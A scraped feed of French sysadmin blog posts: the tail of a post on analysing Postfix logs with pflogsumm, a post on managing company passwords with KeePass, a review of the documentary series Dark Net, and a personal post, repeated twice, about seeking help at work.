<p>Pour analyser ce fichier, il y a</p>
<p><strong>La version graphique</strong> depuis l'interface d'administration de Yunohost :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> ./admin/#/services/postfix/log : pour voir les logs
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> . /admin/#/services/postfix : pour voir l'état du service<br class='autobr' />
que l'on utilisera pour regarder les dernières lignes et l'état du service.</p>
<p><strong>La méthode à l'ancienne</strong> qui consiste à lire le contenu de de fichier (à base de cat, head, more, tail...), à y rechercher des séquences / chaînes de texte particulières (grep).</p>
<p><strong>Et une méthode à base de script</strong>. Il existe en effet un script perl, packagée sous Debian, pflogsumm (Site internet de pflogsumm : <a href="http://jimsun.linxnet.com/postfix_contrib.html" title="jimsun.linxnet.com/postfix_contrib">http://jimsun.linxnet.com/postfix_contrib.html</a>) qui permet de parser le fichier mail.log et en extraire un certains nombres d'informations classées de façon pertinentes, parmi lesquelles :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Nombre de mails envoyés par compte ;
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Nombre de mails reçus ;
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Taille des mails ;
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Trafic mail par jour, par heure...<br class='autobr' />
Tout un tas de cumul et de métriques qui peuvent être intéressantes et pertinentes.</p>
<p>Comme tout outil en ligne de commande, il y a une page man détaillant toutes les options qu'il est possible d'utiliser / appeler. <br class='autobr' />
<a href="https://jimsun.linxnet.com/downloads/pflogsumm-faq.txt" title=""><br class='autobr' />
Et une FAQ en anglais assez riche et détaillée</a>.</p>
<p>Pflogsumm est donc un outil fort utile pour avoir un rapport journalier de suivi de son serveur mail.</p>
<p>Pour finir, <a href="https://forum.yunohost.org/t/statistics-mail-server-by-pflogsumm-postfix/3768/3" title=" Statistics mail server by Pflogsumm - Postfix ">Astuce trouvée dans le forum de Yunohost</a>, l'envoi par mail (!) d'un rapport quotidien d'analyse de l'envoi de mail via une tâche cron</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code># STATS MAIL SERVER pflogsumm<br /> 59 23 * * * /usr/sbin/pflogsumm -u 5 -h 5 -d today /var/log/mail.log | mail -s "Postfix Report of `date`" yourmail@domain.tld</code></div></div>
		
		


feed_id: https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-La-gestion-des-mots-de-passe
title: Devenir SysAdmin d'une PME - La gestion des mots de passe
uri: Devenir-SysAdmin-d-une-PME-La-gestion-des-mots-de-passe
url: https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-La-gestion-des-mots-de-passe
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2778.jpg?1535817261' width='150' height='79' />
		<div class='rss_texte'><p>Nouveau billet de ma série "Devenir SysAdmin d'une PME" avec cette fois ci, la gestion des mots de passe.</p>
<p>Dans ce billet, les annuaires ldap et les mots de passe unique pour différentes applications sont exclus de ce billet, je ne parlerai que des mots de passe <i>classique</i> dont a besoin le sysadmin, à savoir les mots de passe compte admin pour les machines et les comptes liés aux services.</p>
<p><strong>Gestion des mots de passe...</strong></p>
<p>Quand j'ai repris le service, la tranmission des mots de passe s'est fait de façon assez simple : export des mots de passe stockés dans Firefox pour tous les mots de passe webs, communication des deux / trois mots de passe (utilisateur et root) utilisés un peu partout, les autres mots de passe étant stockés dans le wiki...</p>
<p>Mais ça c'était avant.</p>
<p><strong>Mise en place d'une gestion des mots de passe</strong></p>
<p><a href⁼"https://blog.genma.fr/?Keepass-au-quotidien-c-est-possible" title="Keepass au quotidien c'est possible ">L'ayant fait pour moi-même, il y a quelques années</a>, avec un passage sous Keepaas et la réinitialisation et individualisation de TOUS mes mots de passe, j'ai décidé de faire la même chose. A savoir :</p>
<p><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Mettre en place un conteneur Keepass
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Réinitialiser un à un tous les mots de passe pour chaque outil</p>
<p>Pourquoi Keepass ? Mon objectif était simple : avoir une gestion des mots de passe simple et efficace. Et je connaissais Keepass, quelques-uns des membres de mon équipe le connaissais aussi et l'utilise à titre personnel, nous sommes donc partie sur cet outil.</p>
<p>J'ai donc créer un conteneur, et ajouter un à un les comptes en réinitialisant et regénérant les mots de passe de la taille maximum et aléatoire dans Keepas. Long et fastieux, mais nécessaire. Pour le stockage de façon centralisé, le conteneur Keepas de référence est déposé dans un espace dédidé sur notre instance Gitlab (qui est également utilisée pour ses différents outils en dehors de la gestion du code, voir mon billet <a href="https://blog.genma.fr/?Lifehacking-Gitlab-outil-ideal" title="Lifehacking - Gitlab, outil idéal ?">Lifehacking - Gitlab, outil idéal ?</a>. Mais il aurait pu tout à fait être envisagé le dépôt du conteneur sur un serveur Nextcloud et avoir une synchronisation avec le client sur les différents PC des collaborateurs ayant besoin de ces mots de passe.</p>
<p><strong>Si c'est à refaire et ce qu'il reste à améliorer...</strong></p>
<p>Le problème n'est pas dans le partage : les personnes qui doivent connaître la phrase de passe ont également accès au dépôt Gitlab. Pour gérer des besoins plus fins, nous avons créer différents conteneurs Keepass, un par service, pour gérer des niveaux et cloisonner les mots de passe. Le problème est dans la gestion des conflits : il faut se coordonner quand on doit mettre à jour le contenu d'une base Keepaas. On ne peut pas être deux à ajouter un compte ou modifier un mot de passe, il faut le faire à tour de rôle...</p>
<p>Sur ce point, je commence donc à regarder du côté des autres outils, avec un mode web / en ligne et j'ai identifié deux outils :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://www.vaultproject.io/" title="HashiCorp Vault">HashiCorp Vault</a> (<a href="https://www.hashicorp.com/blog/vault-announcement" title="HashiCorp Vault">Billet annonçant cet outil</a>) par la société qui est derrière Vagrant, Terraform...
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://bitwarden.com/" title="Bitwarden">Bitwarden</a> une alternative à LastPass, en mode web
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://github.com/nextcloud/passman" title="Nextcloud - Passman">Nextcloud - Passman</a></p>
<p>Et il y a également les bonnes pratiques pour les mots de passes root des machines. Les connexions aux serveurs du parc se font via SSH avec une connexion par clef et des droits "sudo", mais il y a des comptes root sur des machines pour lesquelles je n'ai pas <i>encore</i> définie de politique de gestion des mots de passe (il faut que je me renseigne sur l'état de l'art à ce sujet).</p>
<p>Les mots de passes des comptes et applications webs eux sont plus faciles à gérer / changer, mais il faut trouver un bon équilibre dans la rotation des mots de passe (Keepass proposant de définir des dates d'expiration, cela aide bien) et c'est une tâche longue et fastidieuse à planifier régulièrement...</p></div>
		
		


feed_id: https://blog.genma.fr/?Darkknet-une-serie-de-reportages-sur-Netflix
title: Darknet une série de reportages sur Netflix
uri: Darknet-une-série-de-reportages-sur-Netflix
url: https://blog.genma.fr/?Darkknet-une-serie-de-reportages-sur-Netflix
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2781.jpg?1537716892' width='150' height='88' />
		<div class='rss_texte'><p><span class='spip_document_2555 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/jpg/darknet_serie_netflix.jpg?1537716903' width='500' height='292' alt="" /></span></p>
<p><strong>Présentation de DarkNet</strong></p>
<p>Dark Net est une série américaine télévisée de type documentaire créée par Mati Kochavi qui explore le dark net et la technologie, ainsi que des thèmes tels que le biohacking, le cyber-kidnapping, la guerre numérique, les sectes en ligne, la dépendance à la pornographie et les strip-teaseuses par webcam.</p>
<p>La série a été diffusée le 21 janvier 2016 sur Showtime, avec la première saison de huit épisodes. Sa deuxième saison, composée de huit épisodes, a été créée le 6 avril 2017.</p>
<p><strong>Liste des épisodes et sujets abordés</strong></p>
<p>DarkNet est donc composé de 16 épisodes de 30 minutes réparti en 2 saisons, abordant les thèmes suivants :</p>
<p>Season 1 (2016)
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <strong> Episode 1 "Crush"</strong> Un couple BDSM dans une relation à distance ; un Japonais dans une relation virtuelle en utilisant LovePlus ; et une femme victime de vengeance.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <strong> Episode 2 "Upgrade"</strong>Le thème central est le biohacking, à travers les témoignages d'une femme qui implante une puce RFID dans la main et un homme qui a perdu un œil par accident et qui le remplace par une caméra, ainsi qu'un homme qui utilise des centaines de systèmes de collecte de données pour suivre tout dans sa vie.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <strong> Episode 3 "Exploit"</strong> La pédopornographie à Cebu, aux Philippines via le darknet. Une technologie utilisée pour protéger les enfants en ligne et attraper les auteurs de crime est montrée, un pédophile révèle les raisons de sa dépendance.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <strong> Episode 4 "CRTL"</strong> Le travail des modérateurs de contenu sur Internet et aborde le cas des pirates informatiques.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <strong> Episode 5 "Traped"</strong> Une femme qui pense souffrir d'hypersensibilité électromagnétique ; d'un homme qui a subi un accident vasculaire cérébral massif et qui est maintenant paralysé, et utilise la technologie pour s'améliorer et l'aider dans sa vie ; et celui d'une femme qui a abandonné sa famille pour rejoindre un culte en ligne.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <strong> Episode 6 "Rewire"</strong>L'exploration de la dépendance à la pornographie sur Internet, la nootropique, ainsi que des personnes autistes travaillant dans le secteur des technologies.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <strong> Episode 7 "Provoke"</strong>La violence et des trolls sur les réseaux sociaux ; le créateur derrière le personnage en ligne d'Abdullah-X revient sur la créaion et mission derrière ce personnage.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <strong> Episode 8 "Revolt"</strong> Un militant documente les brutalités policières ; une femme transgenre qui s'est détournée du judaïsme hassidique une fois qu'elle a découvert Internet ; et une organisation qui utilise la technologie d'impression 3D pour créer des armes à feu non détectables et introuvables.</p>
<p>Saison 2 (2017)
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <strong> Episode 9 "My Mind"</strong>Utilisation la réalité virtuelle pour aider avec le trouble de stress post-traumatique, RealDolls avec intelligence artificielle, et une femme qui travaille pour Amazon Mechanical Turk.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <strong> Episode 10 "My Justice"</strong> Les détectives amateurs en ligne (Websleuths) commentent la mort de Morgan Ingram et son effet sur l'accusé de meurtre meurtrier qui a été jugé innocent ; "Commander X", un membre du groupe hacktiviste Anonymous qui a fui les États-Unis après avoir été arrêté pour une cyber-attaque.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <strong> Episode 11 "My money"</strong> Une camgirl, des mineurs de bitcoins et les marchés du darknet.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <strong> Episode 12 "My Nation"</strong> Les mouvements politiques et les groupes extrémistes, y compris un groupe Extrême-Droite qui a diffusé ses message via les médias sociaux et témoignages d'anciens membres de groupes extrémistes tels que les néo-nazis ou Al-Qaïda désormais non radicalisés.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <strong> Episode 13 "My Identity"</strong> Exploration de la technologie de reconnaissance faciale et son utilisation dans la police, les foyers et les casinos. Un homme innocent raconte son histoire après que la technologie de reconnaissance faciale l'a mal relié à un vol de banque et à la façon dont cela a ruiné sa vie, le laissant sans abri. La question de la protection de la vie privée à l'ère des médias sociaux est également à l'étude.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <strong> Episode 14 "My Home"</strong> Discutions sur les questions de confidentialité et de surveillance dans les foyers et les communautés ; cas d'une femme dont la webcam de l'ordinateur portable est infiltrée par un harceleur numérique ; un quartier qui se charge d'installer des caméras de surveillance pour la sécurité ; un homme dont l'intérêt pour le voyeurisme l'a fait fiché comme un délinquant sexuel vivant sous surveillance constante.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <strong> Episode 15 "My Community"</strong> Cet épisode explore la ville de Jun, Grenade, qui utilise Twitter comme principale source de communication entre les résidents et le gouvernement ; un enseignant à Ahwatukee, Phoenix est harcelé numériquement ; témoignage d'un père de l'un des enfants tués dans la fusillade de l'école élémentaire Sandy Hook qui fait face à des menaces de la part de théoriciens du complot.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <strong> Episode 16 "My Relationship"</strong> Cet épisode explore les relations à l'ère numérique ; une famille japonaise qui a un robot dans sa famille ; une femme qui a programmé son ami mort en chatbot ; une mère qui utilise un programme d'espionnage pour surveiller les activités de sa fille adolescente sur son téléphone.</p>
<p><strong>La critique de Genma</strong></p>
<p>Loin des reportages sensationnalistes et racoleurs, qui ont un parti pri et une volonté de <i>faire peur</i>, cette série de reportage est plus proche d'un BlackMiror qui aurait pris la forme de reportage et non de fictions. Les thèmes abordés sont assez proche de certains de BlackMiror, et là où dans BlackMiror on est dans l'anticipation, la fiction, les reportages de DarkNet sont ancrés dans le réel.</p>
<p>Un peu surprenant au début, le passage d'un sujet à un autre au sein d'un même épisode : les sujets semblent décorréler les uns des autres. Mais on finit par comprendre et s'apercevoir que pour un même épisode, on a un fil rouge et un aperçu selon des sujets en apparence totalement différents. Au delà du fil rouge d'un épisode, on a un fil rouge plus global : ces reportages explore des faces méconnues d'Internet et les modifications que ce réseau a apporté dans l'Humanité, modifiant notre quotidien. Un certain nombre d'aspects d'Internet sont abordés à travers différents prismes, que ce soit l'impact de l'évolution des technologies, technologies reposant elle-mêmes sur Internet, la connexion qu'apporte ce réseau aux objets, les bouleversements dans les interactions entre humains...</p>
<p>Pour moi qui suit sur Internet (et le web) depuis plus de 20 ans, cette série de reportages apporte un état de lieux de ce que le réseau est devenu, mais m'a également appris certaines choses, que je ne connaissais pas, sur les faces cachées et sombres d'Internet, d'où le nom DarkNet. Nom qui n'est d'ailleurs par usurpé car quelques reportages abordent bien évidemment les réseaux chiffrés et le <i>fameux</i> Darknet, accessible via Tor ou autres systèmes de réseaux chiffrés. Mais le nom de Darknet fait plus référence au côté sombre, de l'ombre, d'Internet, le contraire du monde des bisounours...</p>
<p>Dans les choses appréciables on a le fait que l'on a aucun jugement dans les reportages : pas de moral, au spectateur de se faire son avis. Je n'ai pas vu de bullshit ou d'effet sensationnel, les faits abordés et la façon de les présenter sont plutôt bien amenés et faites. Le petit bémol est que même si on a beaucoup de témoignages de personnes différentes, toutes sont d'origines américaines (à l'exception du sujet de la pédophilie où ce sont des personnes des Philippines qui témoignent).</p>
<p>Disponible en VOSTFR sur Netflix, plutôt bien réalisé, ça se regarde bien et on peut en enchaîner plusieurs à la suite.</p>
<p>Pour vous avoir un avis complémentaire, je vous invite à lire l'article <a href="https://www.breizh-info.com/2017/10/29/80611/serie-dark-net-exploration-documentaire-de-face-cachee-web" title="Série. Dark net, une exploration documentaire de la face cachée du web">Série. Dark net, une exploration documentaire de la face cachée du web</a> sur le site breizh-info.com.</p></div>
		
		


feed_id: https://blog.genma.fr/?De-l-importance-d-etre-aider
title: De l'importance d'être aider
uri: De-l-importance-d-être-aider
url: https://blog.genma.fr/?De-l-importance-d-etre-aider
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2782.jpg?1538325722' width='150' height='79' />
		<div class='rss_texte'><p>Dans mon billet <a href="https://blog.genma.fr/?Retour-apres-deux-mois-de-silence" title="Retour après deux mois de silence">Retour après deux mois de silence</a>, j'évoquais le passage difficile que j'avais vécu durant plusieurs mois sur le début de l'année 2018 et je concluais en disant que je n'avais vu personne jusque là, que je me débrouillais seul. Depuis la rédaction et la publication de cet article fin août - début septembre, les choses ont changées.</p>
<p>En effet, chaque semaine, pendant 1 heure, dans le cadre professionnel, je suis amené à avoir une réunion avec la R.H. (Responsable des ressources humaines). Avec elle, je parle de ma semaine écoulée et à venir, des points de difficultés que je rencontre dans mon travail, dans mes responsabilités, dans la gestion de mon équipe... Je ferai un billet dédié sur l'ensemble des conseils que j'ai eu et que je mets en application, mais en quelques mots, ces réunions portent leurs fruits : je fais des gros efforts et on constate des gros progrès dans ma gestion d'équipe / management. Le on est un on global : il regroupe la RH, moi-même, les membres de la direction et les membres de mon équipe. Les remontées positives des membres de l'équipe qui voit mon évolution, ça fait du bien ! Les sources de stress que j'ai pu connaître sont mieux gérées. J'ai appris à accepter le fait de déléguer et surtout comment le faire pour que cela se passe bien. Tout cet apprentissage, il sera dans un billet dédié en cours de rédaction sur la gestion d'équipe.</p>
<p>Pour en revenir aux réunions que j'ai chaque semaine, elles sont tout sauf techniques - ce n'est pas le but - et sont donc axées sur la gestion d'équipe (un des aspects du travail des ressources humaines). Mais elles sont aussi l'occasion de parler de la frustration que j'ai pu avoir lors de la réunion avec la direction durant laquelle je n'ai pas pu m'exprimer. J'ai ainsi pu comprendre que lors de ces réunions, je devais aller à l'essentiel, structurer mes propos et remonter des informations précises. Le message que m'a fait comprendre la R.H et que l'on (la direction) a confiance en moi, nul besoin de détailler toutes les actions de ma semaine par exemple. Et que les éléments à remonter sont les points nécessitant un arbitrage par exemple.</p>
<p>Mes entrevues hebdomadaires avec la RH, je les par prépare. Je ne suis pas là pour raconter ma vie personnelle, ce qui est dit est uniquement ce qui a trait au cadre professionnel. Mais quand, comme moi, <a href="https://blog.genma.fr/?Le-metier-passion" title="Mon billet le travail passion">on est dans un travail passion</a>, la frontière peut être assez floue. J'en plaisante d'ailleurs en disant que <i>je vais à ma séance de psy"</i>. J'ai bien conscience que ce n'est pas la même chose, que c'est un autre métier, plus proche de l'écoute et du professionnel dont j'aurai (eu ?) besoin. Je n'ai pas encore pris de rendez-vous avec un professionnel de ce type (psychologue), mais j'ai déjà fait un grand pas, je pense, en comprenant l'importance d'être aider, de ne pas pouvoir gérer les choses seules et de pouvoir enfin me sortir de mes problématiques abordées <a href="https://blog.genma.fr/?Retour-apres-deux-mois-de-silence" title="Retour après deux mois de silence">dans mon billet de bilan de l'été</a>.</p>
<p>Je dirai donc que les choses vont mieux, sont au mois sur une bonne voie. De plus j'ai aussi entrepris de (re)faire des efforts de communication avec Ryo-Oki. Trop souvent ille m'a reprochée de ne parler que des problèmes que je rencontrais au travail, j'aborde des sujets autres, mon comportement a changé et je laisse au travail ce qui appartient au travail et fait autre chose de mes week-ends. Et ma relation s'en ressent. Une bonne chose aussi. Mais ce n'est pas le sujet de ce billet.</p>
<p>Si vous ne deviez retenir qu'une chose de ce billet, faites vous aider. On me l'a dit, j'ai refusé de l'entendre et de le comprendre, mais dès lors que j'ai pu le comprendre et le faire, j'ai pu enfin me sortir de ma situation, aller de l'avant et améliorer beaucoup de choses...</p></div>
		
		


feed_id: https://blog.genma.fr/?De-l-importance-d-etre-aide
title: De l'importance d'être aidé
uri: De-l-importance-d-être-aidé
url: https://blog.genma.fr/?De-l-importance-d-etre-aide
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2782.jpg?1538325722' width='150' height='79' />
		<div class='rss_texte'><p>Dans mon billet <a href="https://blog.genma.fr/?Retour-apres-deux-mois-de-silence" title="Retour après deux mois de silence">Retour après deux mois de silence</a>, j'évoquais le passage difficile que j'avais vécu durant plusieurs mois sur le début de l'année 2018 et je concluais en disant que je n'avais vu personne jusque là, que je me débrouillais seul. Depuis la rédaction et la publication de cet article fin août - début septembre, les choses ont changées.</p>
<p>En effet, chaque semaine, pendant 1 heure, dans le cadre professionnel, je suis amené à avoir une réunion avec la R.H. (Responsable des ressources humaines). Avec elle, je parle de ma semaine écoulée et à venir, des points de difficultés que je rencontre dans mon travail, dans mes responsabilités, dans la gestion de mon équipe... Je ferai un billet dédié sur l'ensemble des conseils que j'ai eu et que je mets en application, mais en quelques mots, ces réunions portent leurs fruits : je fais des gros efforts et on constate des gros progrès dans ma gestion d'équipe / management. Le on est un on global : il regroupe la RH, moi-même, les membres de la direction et les membres de mon équipe. Les remontées positives des membres de l'équipe qui voit mon évolution, ça fait du bien ! Les sources de stress que j'ai pu connaître sont mieux gérées. J'ai appris à accepter le fait de déléguer et surtout comment le faire pour que cela se passe bien. Tout cet apprentissage, il sera dans un billet dédié en cours de rédaction sur la gestion d'équipe.</p>
<p>Pour en revenir aux réunions que j'ai chaque semaine, elles sont tout sauf techniques - ce n'est pas le but - et sont donc axées sur la gestion d'équipe (un des aspects du travail des ressources humaines). Mais elles sont aussi l'occasion de parler de la frustration que j'ai pu avoir lors de la réunion avec la direction durant laquelle je n'ai pas pu m'exprimer. J'ai ainsi pu comprendre que lors de ces réunions, je devais aller à l'essentiel, structurer mes propos et remonter des informations précises. Le message que m'a fait comprendre la R.H et que l'on (la direction) a confiance en moi, nul besoin de détailler toutes les actions de ma semaine par exemple. Et que les éléments à remonter sont les points nécessitant un arbitrage par exemple.</p>
<p>Mes entrevues hebdomadaires avec la RH, je les prépare. Je ne suis pas là pour raconter ma vie personnelle, ce qui est dit est uniquement ce qui a trait au cadre professionnel. Mais quand, comme moi, <a href="https://blog.genma.fr/?Le-metier-passion" title="Mon billet le travail passion">on est dans un travail passion</a>, la frontière peut être assez floue. J'en plaisante d'ailleurs en disant que <i>je vais à ma séance de psy"</i>. J'ai bien conscience que ce n'est pas la même chose, que c'est un autre métier, plus proche de l'écoute et du professionnel dont j'aurai (eu ?) besoin. Je n'ai pas encore pris de rendez-vous avec un professionnel de ce type (psychologue), mais j'ai déjà fait un grand pas, je pense, en comprenant l'importance d'être aider, de ne pas pouvoir gérer les choses seules et de pouvoir enfin me sortir de mes problématiques abordées <a href="https://blog.genma.fr/?Retour-apres-deux-mois-de-silence" title="Retour après deux mois de silence">dans mon billet de bilan de l'été</a>.</p>
<p>Je dirai donc que les choses vont mieux, sont au mois sur une bonne voie. De plus j'ai aussi entrepris de (re)faire des efforts de communication avec Ryo-Oki. Trop souvent ille m'a reprochée de ne parler que des problèmes que je rencontrais au travail, j'aborde des sujets autres, mon comportement a changé et je laisse au travail ce qui appartient au travail et fait autre chose de mes week-ends. Et ma relation s'en ressent. Une bonne chose aussi. Mais ce n'est pas le sujet de ce billet.</p>
<p>Si vous ne deviez retenir qu'une chose de ce billet, faites vous aider. On me l'a dit, j'ai refusé de l'entendre et de le comprendre, mais dès lors que j'ai pu le comprendre et le faire, j'ai pu enfin me sortir de ma situation, aller de l'avant et améliorer beaucoup de choses...</p></div>
		
		


